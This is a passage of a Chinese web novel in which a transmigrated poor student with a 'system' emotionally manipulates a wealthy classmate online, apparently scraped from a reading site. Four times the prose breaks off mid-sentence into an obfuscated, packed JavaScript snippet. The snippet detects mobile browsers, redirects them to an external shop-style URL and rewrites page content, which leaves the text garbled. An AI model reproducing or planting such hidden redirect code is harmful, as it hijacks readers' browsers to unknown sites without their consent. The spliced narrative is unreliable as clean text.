【好好学习:看起来好好吃。】 在“难吃”后那条回“哦哦哦,我不知道。”。 他还诚恳道歉。 【好好学习:对不起,我以为很好吃。】 顿了顿。 在“难吃到我家狗都不吃”那条回“那你的狗好幸福。我会吃。看起来真好吃。” 在“下次不来了。”后认真回“有机会我想去。” 但很快,似乎是看到了账单。 元乂把“有机会我想去”这条撤回。 他也没说贵。 他说。 【好好学习:我想我是没机会了。】 【好好学习:黄豆脸.哭.jpg.】 “……”单纯想膈应一下元乂却突然又变成活畜生的寇持,“。” 不是。 凭什么。 偷他照片网骗,三番两次、无缘无故,一声招呼都不打的消失。 他明明是受害者! 寇持不服。 【k:大晚上你去哪兼职。】 【k:兼职就兼职,你不会跟我说完再去。不跟人说再见就消失非常不礼貌懂吗?】 【k:没吃过就没吃过,你卖什么惨。】 …… 【k:不是?】 【k:人呢?】 【k:你特么的又跑?】 …… 【k:你有种。】 . 元乂不是有种。 也不知道哪个神人在网上买了六十对石墩子。 线长一边骂一边冲饮水间喊人:“歇够了没,歇够了就过来。过来,都过来!……到底哪个傻帽搁网上……过来!” 站里提前得到信儿的老油条全跑了,留下的都是过来兼职的、一二十出头的大学生。 清澈的大学生干活是掏死力气的。 元乂也不好太摸鱼。 元乂干得昏天黑地。 夜班的中转站管一顿饭。 双手软成面条的元乂掰了五六次才把一次性筷子掰开:“襄阳贾家庄尾号是2063的陈先生请你记住。”他一边往嘴里扒饭,一边哭,“我元乂将永远记住这惨痛的一天。” 另一边。 迟迟等不到元乂的寇持一怒之下把元乂拉黑删除了。 直男偷他图。 直男问他要钱。 直男敢把他撂一边。 …… 直男纯活该。 被这种傻逼影响情绪的他也是煞笔。 ——人活在世界上就只有两件事,关我屁事and关我屁事。 而且他本来也不是什么好东西。 刚赶完飞机,还没倒时差的寇持早早地洗漱睡下了。 只是他没能睡着。 1:01。 他辣条音。 1:31 他没爹没妈。 1:45 他钱全给我了。 …… 2:12,寇持猛然坐起,冷着脸又把元乂拉了回来。 他寇持对天发誓。 直男这次再不回他。 他就要当王八蛋当到底了。 2:14 【k:在?】 中转站的饭盒一向很廉价。 萝卜白菜肥肉片炖粉条。 元乂吃饭有点挑剔,要不就特别简单,要不就做得特别好吃。 哪怕元乂已经饿到了极点,他还是有点咽不下去这两不沾的盒饭。 元乂这会儿正拿着寇持发过来的照片下饭。 他这次秒回。 其实也不是秒回,他打了语音过去。 他的手指软趴趴的,没力气打字了,“喂?”说笑声沸腾、机器轰鸣,环境嘈杂,元乂的声音不甚清晰,只是能听得出来很不好意思,“我在的。” 他再次道歉,“实在对不起。” 跟打字时没什么两样,他认真地一句一句的回答寇持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109936|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我来快递站兼职了。” “不是突然消失,刚线长叫我,我们这里不让玩手机。” “我没有卖惨。” 寇持听到这儿才稍微抬了下头。 他想听对面怎么解释。 对面没有迟疑,对面没有解释,对面自然道:“我的人生就这样。” “……”寇持,“这倒也是。” 不是。 死嘴。 你说了什么。 对面倒没反驳。 对面仍旧挺乖的:“嗯嗯嗯。” 哪怕是说了人生这种沉重的话题,对面还是很自然,很自然地一点都不为自己悲伤,“对了,你找我有事么?” 他这才不好意思,“半小时的吃饭时间就要过去了,我还要干活,等下又不能回你了。” “……” 别管寇持上一秒在想什么,下一秒张嘴就是刺:“终于知道消失要打招呼了?” 元乂光排队就排了十多分钟,压根就没吃几口,眼见吃饭时间就要结束,他边往嘴里扒饭边:“嗯嗯嗯。” “刚刚……之前。所有。总之,都是我的错。”他非常惭愧道,“对不起。” “确实都是你的错。”寇持说完其实也觉得自己有点不要脸,但这又怎么了,他虽然不要脸,但他有钱啊。 有钱就不用道歉。 2391,什么叫没机会,不就是一顿饭,他请,“摄像头开一下。” 虽然基本断定直男说的真的。 但他天性多疑。 他决定再落实一下。 这话转的挺突兀,他俩又不熟,元乂多少迟疑道:“嗯?” 寇持一向强势:“我叫你开摄像头。” 元乂虽然非常逆来顺受,但也非常自闭,他不太愿意:“……啊?” 寇持微微眯起眼:“你不是要感谢我一辈子么,叫你——” 那边特别亮。 然后是一张脏脏的、淌着汗水的花花的小脸。 他眼珠漆黑,微微抿着唇,白T恤一道黑一道灰,看起来像只脏了的小羊。 堆成山的纸皮,轰隆隆的流水线:“……我开了。” “你、你别生气。” 啪! 寇持还没看够,视频闪电一样地挂了。 虽然看不出来对面多大,但应该跟他差不多。 这次也不用直男再解释了,寇持知道直男那二手手机肯定是没电了。 这个直男虽然很傻逼,但有一说一,长得还行。 ……不跟他比的话还行。 跟他比那肯定差远了。 怪不得偷他图。 【k:转账2391】 他还解释了下:【我家没狗。】 【k:请你吃饭。】 …… 江山易改,本性难移。 寇持虽然有钱,也愿意为自己的行为的买单,但他毕竟不是冤大头。 前半夜他是越想越觉得自己不是人,后半夜他是越想越觉得自己亏。 终于。 在次日7:34。 【k:你偷我一张照片,要还我十张。】 【k:2391,你算算值你多少天工钱,算清楚了折算成工时赔给我。】 【k:你有什么擅长的么】 【k:……算了。】 【k:感觉你什么都不会。】 【k:算了可不是让你不赔的意思。虽然还没想好让你干什么,但你得赔我。这是我花钱买的。】 【k:人呢。】 【k:我话都说这么多了,你人呢!】 【k:回我。】 …… 8:13 【k:我想清楚了,你的工作就是秒回我。】 【k:看见回我!!!!!!】 5. 网骗 快递站旁边有家开了近二十年的小笼包,小贵,但是好吃。 原主每次搬完快递就来奖励下自己。 元乂也正在吃。 打包完蹲在包子店的拐角吃。 倒不是他喜欢蹲着,他是不好意思进店里。T恤灰黑,裤子一动就扑簌簌落灰,人家店里地面还挺干净的。 没必要给人家添麻烦。 当然,他也不是一开始就这么不体面的,他刚开始搬完快递,会仔细地洗脸洗手、换身衣服,然后舒舒服服地坐店里吹冷气。 但没两天他就发现了,脸能洗,衣服能换,闷在快递站里发酵出来酸臭味去不掉。 没有人愿意靠近他。 正如他的人生一样。 ——他为了节约电量,一般是关着机的,他才开机付完账,k的消息就一条一条往外蹦。 “转账2591”“请你吃饭”……“我想清楚了,你的工作就是秒回我。”“看见回我!!!!!!” “……” 元乂愣了下。 元乂感觉像做梦。 元乂实在惶恐。 元乂都顾不上打字:“不用请我吃,谢谢你……我……”有些话实在难以启齿,不过他确实这么想的,“……我配不上吃这么好的。” 他光活着就已经是累赘了。 这么多年,无论是亲戚,还是老师同学,他就只会给别人添麻烦。 哪怕是k。 一个素不相识的陌生人。 他都因为一己私欲盗了k的照片。 “我……我……”元乂闭了下眼,“真的抱歉……真的对不起……” 他几度哽咽,还是不能再言语。 元乂发送完语音就后开始了打字。 【好好学习:实在谢谢你。】 【好好学习:抱歉又很晚才回你。】 【好好学习:我以后看见一定会立刻回你的。】 【好好学习:……不过你不要生气,我不能要你的钱。】 接下来又是一对一回复,“真的很抱歉偷你照片。我不好看的,我可以赔你很多张。”“我搬快递搬一天只能赚两百,工时不值钱。”,在“有什么擅长后”惭愧地打下“我没有擅长的。”,在“算了”后感恩地打下“谢谢你。” 在“都不会”后打下“对不起。”,在“还是要你赔”后打下“哦哦哦。”,在“人呢”后面打下“我在。” 似乎又想起了什么。 【好好学习:转账100】 【好好学习:我刚赚了两百,分你一半。】 对面非常老实。 对面非常惶恐。 对面经常失踪。 再次抓到元乂寇持攻击性其实挺强的,他脑子里陆续飘过“你个穷逼当然不配”“对不起你还偷,道歉要有用要警察干什么。”“知道回晚了,那磕头啊。”“你时间确实不值钱。”……对面又给他转账了。 100。 寇持有钱,非常有钱。 他一顿饭吃几千是日常,临时落脚的房大七位数。 他看到这一百块跟看到个钢镚其实差不多。 直到昨晚跟元乂通视频。 铺天盖地轰隆声、滚滚热浪,男生脏脏的、淌着汗的脸。 寇持知道直男不容易,但这才知道直男真不容易。 【k:你不是不傻么?】 【好好学习:嗯嗯嗯。】 【好好学习:但你对我好。】 【好好学习:你对我很好很好。】 【好好学习:我以后赚的钱都分给你一半。】 寇持:“……” 你煞笔吧。 世界上哪有这么煞笔的人。 寇持严重怀疑直男是演的。 【k:真的?】 【好好学习:真的。】 下一秒。 “转账100已被接收” 【k:哦。】 【k:谢谢你。】 元乂:“……” 元乂:“?” 不是,哥们。 你真要啊。 你还要啊。 他的一百块! 他搬了一夜的快递才赚了两百块的其中一百块。 元乂微笑着掐自己的人中给自己急救。 寇持不仅收了钱,还得寸进尺继续兴师问罪。 【k:视频断了后,你怎么不给我回过来?】 【好好学习:我上班不让玩手机。】 寇持想都没想:【你不会偷偷玩?】 【好好学习:我不敢。】 寇持继续逼元乂:【你不敢玩手机,却敢不回我。】 【k:你是不是没把我放在眼里。】 【k:你之前讲的话是不是都是骗我的。】 【k:我要删了你!】 “……” 元乂抿唇。 元乂有点慌张。 八点多,旭日初升。 他还是很内向,沉默寡言,但k不一样,k不跟他计较他的错,k给了他钱,k说要请他吃大餐。 k还说要自己秒回他。 他很想交这个朋友。 【好好学习:没有不回你。】 【好好学习:我这就回你。】 寇持正想元乂要怎么回,元乂的视频就过来了。 元乂出快递站后虽然没换衣服,但还是有把脸洗干净了。 出现在寇持手机里的是个清秀腼腆、唇瓣抿得紧紧的小男生。 对面身量不高。 还很单薄。 T恤仍旧很脏。 但眼睛很漂亮,黑黑的、亮亮的,他很紧张,紧张到嗓音都有些发抖:“你、你好。请别删我。” “我回你。” 寇持没开摄像头。 他虽然不是公众人物,但也不是普通人。 寇持昨晚就见过元乂了。 跟他之前想的一样,直男看起来很乖。 今天脸洗干净了更乖。 乖的都让人觉得他不可能偷人照片。 寇持没说你好:“真是你偷我的照片?” 元乂的睫毛很长,往下垂就是一小捧,又说他心虚的事,他没敢看镜头,男生有些啜喏,胸膛都跟着战栗:“是……是我。” 胆这么小? 感觉戳一下会抖两下。 寇持这么想,也就这么问了:“有人碰过你吗?” 元乂没听清,或者说没听懂,他看镜头:“什、什么?” 感觉自己的话有点不对劲的寇持多加了一个字:“有人碰到过你吗?” 这问题真的很奇怪。 但日常生活肯定少不了碰撞的:“碰、碰到过。” 元乂说完后,k那边不知为何安静了下。 空气都稍微有些凝滞。 就当元乂有点不知所措的时候,k冷冷淡淡,但低沉磁性的声音冒了出来:“这种话以后就不要回了。” 元乂再次看镜头。 元乂眼睛稍微放大了点。 元乂肉眼可见的疑惑,但他也没问:“哦。” 他又点头:“好。” 直男虽然是说自己是直男,但寇持并不确定直男的性取向,寇持唯一确定的是自己的性取向。 他性取向男。 察觉到自己说了不该说的寇持话短而快:“挂了。” . 寇持刚挂,元乂就笑了出来:“嘻,嘻嘻。” 系统其实也察觉到不对劲,但没等它想清楚:“你又干嘛?” 元乂揉了下自己的耳朵,手动把自己耳朵抓红后,把手机拉远,对着自己的脸“简简单单”地拍了张照:“还照片啊。” 系统:“什么照片?” 是张类似于证件照的照片。 男生头发漫过后颈,看上去就很内向,但他有努力看镜头。 他甚至还努力了笑了下。 黑发,有些红的耳尖,稍微有点僵硬又腼腆的唇角。 然后是躲闪着的、又温驯似水的目光。 非常简单的照片。 却又像活的一样。 就像元乂看着寇持在笑一样。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109937|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少寇持是这么想的。 他反复进了好几次聊天框,直男都在对他笑。 感觉戳他一下,他会忍发着抖继续讨好他的笑。 寇持:“……” 寇持:“。” 不是,他这个煞笔又在想什么。 信息还在继续。 【好好学习:我手机要没电了。】 【好好学习:先还你一张。】 …… 剩下的消息寇持没再看了。 . 有钱元乂就没走路了。 元乂坐公交回学校。 困得要死了的元乂到宿舍就洗澡,洗完澡就躺到了床上。 这一躺就错过了许多消息。 10:21 “2017历史系3班群” 【李思思:下午两点到智慧院开会@所有人】 【李思思:院里查人,数完再走。@所有人】 …… 13:56 李思思私聊元乂。 【李思思:查人了。】 【李思思:你在哪?】 【李思思:你又不看手机?】 …… 14:01 【李思思:我临时找人帮你顶了。】 …… 可能是越想越气。 16:12 【李思思:这多少次了!!】 【李思思:你能不能看手机啊。】 …… 【李思思:兰笙不也在老校区?】 【李思思:他都能来你怎么不能来。】 日照西山。 半是睡醒半是热醒的元乂看完手机也没回,虽然这不是他的世界,但他也上过大学,他把手机一扔,头一歪就瘫倒到了枕头上:“啊!” “怎么大二还要凑人头,这不都大一的事么!” “——哎,不对,刚戳我是谁?” 系统:“李思思。” “李思思?”还有点懵的元乂,“这名好耳熟,这谁来着——好像是……” 剧情虽然不会把信息都标明,但会自动补全。 虽然主角受兰笙家境富裕、学习又好,性格也好,拥有原主梦寐以求的一切,但原主也不是无缘无故敌视兰笙的。 李思思和原主和兰笙是一个班的,是两人的班长。 大学不光是要上课,还有一堆麻烦的活动,原主因为手机有问题,经常得不到信儿。 李思思经常被迫帮原主。 一来二去,二来一去,原主……自然而然地就对李思思有了些好感。 虽然他没打算表白,也不可能去表白,但大一就要结束的时候,李思思跟兰笙告白了。 “这特么是我女神啊。”元乂连滚带爬地跳了起来,“你怎么不提醒我我女神找我!” 元乂紧急打字。 【元乂:不好意思。】 【元乂:我睡着了没看到。】 【元乂:我下次不会了。】 【元乂:实在对不起。】 …… 李思思过了好一会才回:【没事,你以后记得看手机。】 李思思:【希望你下次真的不会了。】 …… “……” 其实原主不是不看手机。 是他手机老关机。 但他不能说。 终于上了大学,终于有了个新的开始,原主想体面一点的活着。 至少、至少,像个普通地大学生一样活着。 元乂把目光投向了他和k的聊天框。 他很需要一个新的手机。 元乂点进了和k的聊天框。 “好好学习退回了k的转账” ……他是很需要一个新手机。 可他更珍视k。 【好好学习:我睡醒了。】 【好好学习:你醒了么。】 【好好学习:我发你的照片你看见了吗?】 【好好学习:这种可以么?】 …… 【好好学习:你在不在呀?】 6. 网骗 寇持没回元乂。 他也开学了。 元乂读的浦大很大,他的早八在老校区还好,他的早八但凡在新校区,八点的课,元乂七点二十就得从宿舍出发。 京大更是大得离谱。 寇持转了快一个小时才转到签到处。 炙阳高悬。 梦想着脱单或者是想加学分、被晒得蔫蔫的学长学姐正百无聊赖的在广场上简陋的帐篷下缩着。 直到寇持的到来。 就是有人比九月的烈阳还耀眼。 一米九多的身高鹤立鸡群。 黑发,冷白皮。 敞着的黑色冲锋外套下T恤很利索,双眼皮窄而长,望着人的神情冰冷,骨头缝子都透着生人勿进的人渣感。 超帅。 帅到扎眼。 登记处的负责登记的学姐姓燕名喃,全名燕喃。 单了三年眼见就大四、立誓要泡个帅学弟的喃学姐别说泡帅学弟了,寇持走过来后她做了好几次心里建设都没敢抬头:“……姓名?” 笼罩着她的片阴影嗓音很冰,又很有磁性:“kouchi。” 卧槽,卧槽槽,人这么算了,声音竟然也这么算了,埋着头的喃学姐强装镇定的例行公事:“哪个kou……” 寇持没说话。 寇持把自己的身份证递了过去。 一只腕骨突出、指节修长、很大很大,充斥着掌控与爆发的手,非常暴力美学的手径直闯入了燕喃的视野。 喃学姐应该去接,但喃学姐突然有点原始的害怕,她不争气的手有点发麻,抬了几次都没抬起来。 就在喃学姐的表情憋得都有点狰狞的时候,寇持把他的身份证搁在桌上了。 喃学姐飞速抄完寇持的名字。 喃学姐抄完后飞速把寇持的身份证双手奉上:“好了!” “好了?” “好——” 寇持在看手机。 直男说他睡醒了。 直男问他照片行不行。 直男问他在不在。 照片是挺行的,他也在,可问题就是照片挺行的……行到他对直男想了点有的没的。 其实也不只是照片,直男整个人都散发着老实和好欺负的信号。 他又不是啥好东西。 再想下去想必直男不会有什么好下场。 逼人当基,天打雷劈……再说人孤儿日子过得够苦了,他干什么再给人添堵。 到此为止吧。 当断不断,必受其乱。 寇持直接把元乂删了。 至于直男又退回来的转账。 他遇到直男算他倒霉。 直男遇到他也算直男倒霉。 删完元乂后寇持这才接过燕喃递回来的身份证:“抱歉,刚有点事。” “没事没事。”燕喃拼命摇头,她一紧张就容易话多,“——你处理完了?” 寇持好整以暇的笑了下:“处理完了。” 应该都处理完了,“谢谢——” . 宿舍太热,元乂没等两分钟就没兴致盯手机了。 元乂去餐厅买饭蹭空调去了。 浦大的食堂价格虽然很亲民,但元乂口袋的每一分钱都是他的血汗钱。 元乂转了好大一圈才抠抠搜搜的花八毛买了米饭,花了两块一买了俩素菜。 可能是食堂不大,也可能是说曹操曹操到,就在元乂美滋滋准备落座的时候,李思思和兰笙并肩走了过来。 其实不止李思思和兰笙,还有学生会的其他人。 只是两人郎才女貌,看起来分外醒目。 李思思长卷发垂肩,一袭白裙长到脚踝,兰笙外型还要更出众一些,清冷的脸,鼻骨左侧的小痣却不点而黑,不用收拾就能出道。 浦大不是艺术院,没什么校花校草,但公认的帅哥美女还是有的。 在兰笙公开出柜前,他俩是历史系有名的金童玉女。 他们人多,也找的角落处,跟元乂离得不远。 元乂侧身回避二人。 元乂越吃越快,越吃把头埋得越低。 虽然没人明说,但元乂吃的就是小食堂的穷鬼套餐。 ——真正的少年心事,其实就只有穷。 元乂本来打算吃完饭蹭食堂空调的,现在只能吃完就走了。 . 元乂回到了宿舍。 这天气出去是站着流汗,坐着是坐着流汗,躺着是躺着流汗。 18:56 热得受不了想早点找人帮他换空调的元乂点开了寇持的聊天框。 19:01 元乂拧眉翻身坐了起来。 19:02 元乂试探的给寇持发了条信息。 还是19:02,“您已经不是对方的好友了,请添加好友。” 哎。 就因为调戏了他一句就把他删啦? 元乂其实不想笑,但没忍住:“咦,十八岁的男大就是纯情——” 任务再失败就要跟着元乂一起玩完系统:“什么?” “他给你删了啊?” “他怎么给你删了!” “删呗。”元乂耸肩,“这不迟早的事么?” “什么叫迟早的事!”系统都特么要崩溃,“你俩不是聊的挺好的吗?” “是聊得挺好的啊,聊得他不想把我带到直男不像直男,男同不像男同的路上——”元乂简而言之,言而简之,“他想搞我,但又不想搞我。” “?”一头问号的系统,“你在说什么?” “你开小差啦?” 说好听点是开小差,说难听点就是能量不够,掉线了,“但你元哥疼你。” 元乂说着,眉一直,唇线也跟着锋锐了起来。 人不同,气质能相似。 转眼,刹那,元乂瞳孔漆深,神情十分腥冷,语气却有点兴味,“有人碰过你吗?” 系统:“……” 系统:“。” 不是。 主角攻你—— 9528又看向元乂,不止演技,说要搞主角就搞主角,元乂的人能力显然十分地突出:“你之前……”任务怎么都失败了,算了,问也白问,它还是关心下当下吧,“接下来怎么办。” 热得有点没招的元乂进浴室把花洒开到最大:“天上无云雨难下。” “地上无树哪有花。” 系统刚开始还没听懂元乂在唱什么,直至元乂开始改词:“我没有了爹和妈。” “我每天都没有家。” “又无亲友帮助我。” “孤苦伶仃怕不怕。” “怕——” “那就不要放过他、放过他——” 情绪刚被带起来的系统:“……” 神人。 元乂腾出一只手打字。 “你把我删了吗”太生硬,“你是不是删错了”太自取其辱,“能不能把我拉回来”无形中肯定自己被删了。 最后刚报完道正在食堂吃饭的寇持收到的好友申请是这样的。 【好好学习请求添加您为好友——……你点错了吗?】 “……”寇持,“。” 都不用见字如见人,他光看到直男发过来的消息就能看到直男现在什么样了。 不安的。 忐忑的。 小心翼翼的。 还可能是要哭的—— 寇持紧急刹住。 寇持心冷如铁的回复。 【k:没有。】 【k:别再加我。】 一分钟,两分钟,直男那边迟迟没有回复。 不过寇持知道直男肯定会回他。 当然,他也不允许别人不回他。 他等了等。 又等了等。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109938|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直等了大半个小时。 就在寇持有点压不住脾气,又想发飙的时候,直男的信息过来了。 【好好学习:黄豆脸.哭.jpg】 寇持:“……” 很老气。 又有点绝望。 寇持闭了下眼。 寇持就是没理也理直气壮。 【k:你怎么又这么久才回我。】 【好好学习:快八点了,我刚在赶路。】 没等寇持的眉毛拧起来。 那边没说他很难过,难过到打不出字,那边只说:【……我不知道回什么。】 我不知道回你什么,我是真的想哭。 “……”寇持,“。” 寇持转移了下话题。 【k:你赶什么路。】 【好好学习:打工。】 寇持想起来了:【又搬快递?】 【好好学习:我周一到周五得上课……我得攒够我这周的生活费。】 “……” 是哦。 这穷鬼不打工就没饭吃。 而他—— 寇持发现他就不能跟直男聊天。 他深呼吸,又深呼吸,瞳孔终于还是只剩下一片冷静。 【k:这就是你把钱给别人的下场。】 【好好学习:哦哦哦。】 那边似乎知道他生气了,语气非常的讨好:【……真的对不起。】 【k:对不起有什么用,你不还是要打工。】 【k:你搬快递不累吗?】 【k:你赚钱很容易吗?】 元乂一向只攻不防:【谢谢你关心我。】 寇持:“……” 寇持:“。” 蠢货。 似乎是他的“关心”给了对面勇气。 过了大概半分钟。 八点04。 寇持又接到了一条私信。 【好好学习:……是我做错了什么么。】 寇持往下掩了下睫毛,但神情仍旧生冷。 【k:你不是说你不敢上班玩手机?】 【k:你又骗我?】 他故意找茬显然让对面有点难过。 那边过了好几秒才回复:【我本来不敢的。】 为了你我敢了。 但那边没说,那边只是笑了下:【黄豆脸.呲牙笑.jpg.】 又过了几分钟。 直男不知道k为什么删他。 直男就只有一件事没听k的。 【好好学习:……是因为我不要你的钱么?】 “……” 寇持觉得直男的脑回路挺清奇的。 但以直男的脑子大概也只能想到这了。 但也行。 省得他良心太过不去。 寇持又把元乂拉了回来。 四舍五入一下五百。 他给直男翻个倍。 【k:转账5000】 【k:收。】 【好好学习:……我收你就不……删我?】 寇持睁眼说瞎话:【对。】 元乂秒收的动作快到系统都有点看不清。 什么叫不要收穷人的钱。 这就叫不要收穷人的钱。 高利贷利率都没他高。 元乂快,寇持动作也快,元乂刚把谢谢这俩字打出来,那边就又冒出来了红色的感叹号。 “您已经不是对方的好友了,请添加好友。” 元乂重新点好友申请。 【您请求添加k为好友——黄豆脸.哭.jpg.】 刚亏了四千五、从没吃过这么大的亏的寇持:【我都没哭,你哭你妈的哭。】 【k:给老子滚。】 …… …… 【好好学习:我止不住。】 我真的在哭。 我止不住。 7.网骗 快递站。 元乂头一次偷懒,还没开始干活就把自己锁到了厕所隔间。 发旧的墙面、惨白的白炽灯。 砰。 砰砰砰。 ——一滴一滴的泪炸成一朵又一朵水花。 他的手机还亮着,爬满泪水的脸却一片模糊。 其实也没认识多久。 其实也没什么交集。 可k好好。 k说他搬快递很累,k说他赚钱很不容易。 k哪怕删他都又给他五千。 元乂顾不得擦眼泪,他全身都在发抖,他亲拼尽全力打字:【……请……请不要删我。】 可太过乞求好像也会给人添麻烦。 发送这条信息只需要0.1秒,但他的手指伸了好几伸,还是没能摁下去。 慢慢地,他都不抖了。 他只是看着屏幕发呆。 呆呆地流眼泪。 . 我止不住……寇持第一眼没明白过来。 下一秒则就冷笑了起来。 两天拿这么大一笔钱,你哭个鸡毛哭,你有什么脸哭。 寇持激情输出。 【k:你一周两天假,一个月四周八天假。这八天你全拿来打工,你也就赚一千六。】 【k:认识两天我给你五千。】 【k:你这辈子赚过这么容易赚的钱吗?】 【k:哭?】 【k:你怎么好意思哭的。】 【k:网上果然什么妖魔鬼怪都有。】 寇持其实相信元乂过的很惨。 也知道元乂确实感谢他。 想跟他交朋友。 但他俩满打满算就认识了两天。 哭就太夸张了。 ……简直离谱。 想到此处。 【k:……emmmm。】 【k:你真哭还是假哭。】 寇持这一大段消息下来,元乂发过去的好友申请页面立马就密密麻麻的。 眼里的泪一直没断,元乂看什么都重影。 元乂费了点功夫才一条条看完。 元乂正想回。 他发过去的好友神情突然就被同意了。 紧接着就是一通急促地视频通话。 “……”元乂,“哎呦?这是人?” 别说元乂,系统都知道这通视频是查岗的:“有一说一,别管寇持做人怎么样,在防网络诈骗这块,他做的挺到位的。” “确实。”元乂,“不过魔高一尺道高一丈。我从来没骗过寇持。”他说着,低头去接视频,“……我真的在哭啊。” “——嗡。” 寇持手机亮了起来。 男生头顶的光惨白。 旁边锁着的破门板印满红红蓝蓝的小广告。 黑长的发,白皙的脸,还是那件很旧的T恤,哪怕仓惶之间接的电话,直男神情都还呆呆的,他还是努力笑了下,有点红,湿润的唇瓣抿起。 他的声音照旧有点紧张:“……喂?” 寇持:“……” 寇持:“。” 直男看起来很平静。 直男甚至在笑。 但一颗。 两颗。 三四五六颗……泪连成了线,男生确实止不住。 他流着泪微笑。 寇持不得不觉得他挺畜生的。 他第一次觉得觉得人与人之间应该多点信任,少些猜忌。 但他觉得这不能怪他。 这都怪直男是个脑残。 正常人会对着陌生人哭么? 哭又有什么用? 哭要是有用,脑袋上就三根毛的三毛也不至于命那么苦。 反正寇持觉得自己挺有理的:“闭嘴。” 元乂本来就没张嘴,但他还是听话地又抿了下唇,但他还是在流泪。 寇持的命令十分生冷:“别哭了。” 元乂用胳膊擦了下脸,又擦了下。 说话再难听。 k还是打了视频过来。 脾气再不好。 k还是没有直接挂电话。 但越是这样,他就越不想失去k:“对……不起……”元乂越擦眼泪掉的越快,越擦越惶恐,越擦眼越红,嘴唇一张一动,“我……我憋不住……请、请不要讨厌——讨厌我——” 寇持正在看镜头。 直男湿润的唇更湿了。 睫毛浓长,泪痕未干。 男生眼珠乌黑,脸庞白皙,眼角和舌尖却是红艳艳的。 ——正所谓人类的悲欢并不相通。 直男正在哭泣。 他只觉得他吵闹……且活色生香。 “……” 寇持倏然闭上了眼。 寇持的气息忽然比泰坦尼克号撞上冰山、Jake沉下去的海水还冷。 寇持啪得关了视频。 . 元乂的哭声在寇持挂断的瞬间就止住了。 无他。 有点累。 单纯哭还好,哭得好看就有点累了。 哭的梨花带雨,且不冒大鼻涕泡则更累。 在厕所摸鱼摸得够久了,元乂把手机塞兜里,洗了把脸就出去了……出去继续搬快递,但皇上不急太监急。 系统虽然再三告诫自己不要管元乂的事,但实在坐卧难安:“他怎么给你挂了?” 元乂随手一个小件扔到线上:“你没看到?” 系统疑惑:“看到什么?” 元乂:“看到我因流泪美丽动人的脸庞。” “?”系统,“你哪美了?” “哎呦。”元乂点评,“不知宿主美9528。” 9528:“……” 你贱不贱? 但寇持要是又对元乂有意思的话,“他会不会又给你删了?” 元乂略作思考:“应该不会了。” 系统左想右想,还是没想通:“……为什么?” “为什么?”元乂耸肩,“他最近几天都不敢跟我说话了呗。” “他要给我删了。” “我不得又找他?” “不过。”元乂话音一转,“他大概率会给我屏蔽掉。” “……”系统,“这跟删掉你有区别吗?” “有啊。”时间已经到了后半夜,元乂估摸着差不多后,又去厕所洗了把脸,“我能给他发消息。” 能在他实在忍不住的时候慰藉一下他的寂寞之情。 厕所灯亮的刺眼。 元乂的衣裤脏脏的,脸却很干净。 洗手台有点老化,镜子也不甚清晰,但已经是最好的地儿了,元乂背对着镜子,卡得对镜头拍了张。 然后把照片发给了寇持。 1:11 【好好学习:照片】 男生身上脏兮兮的,看得出来的工作环境很糟糕,但也看得出来他很用心。 他把自己的脸洗得干净。 洗得他前襟的T恤都浸湿一片,贴到了他瘦削的胸膛上。 他应该也有洗脖子,但没洗干净,白皙脖颈侧有淡淡的灰痕。 【好好学习:第二张。】 兴许是知道自己行为有些叨扰,也可能仅仅是为了自己找个理由:【……说好的赔给你的。】 …… 8:04。 【好好学习:转账100】 这次元乂没再解释。 . 元乂周一虽然没有早八,但有早十。 他下午还是满课。 困得有点没招的元乂午饭都没吃,其他人刚离开教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111032|195851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就趴桌上昏了过去。 元乂要睡觉,李思思兰笙等班委则是有点会儿要开。 他们一开始其实没注意到在角落的元乂,直到他们开完会要锁门还钥匙。 喜欢的人是gay,李思思确实也有点尴尬,但俩人一个班长一个团委,还都是学生会的,抬头不见低头就见,李思思也只好当做无事发生了:“你去叫他?” 元乂有点孤僻。 不太理人。 兰笙最起码是元乂舍友。 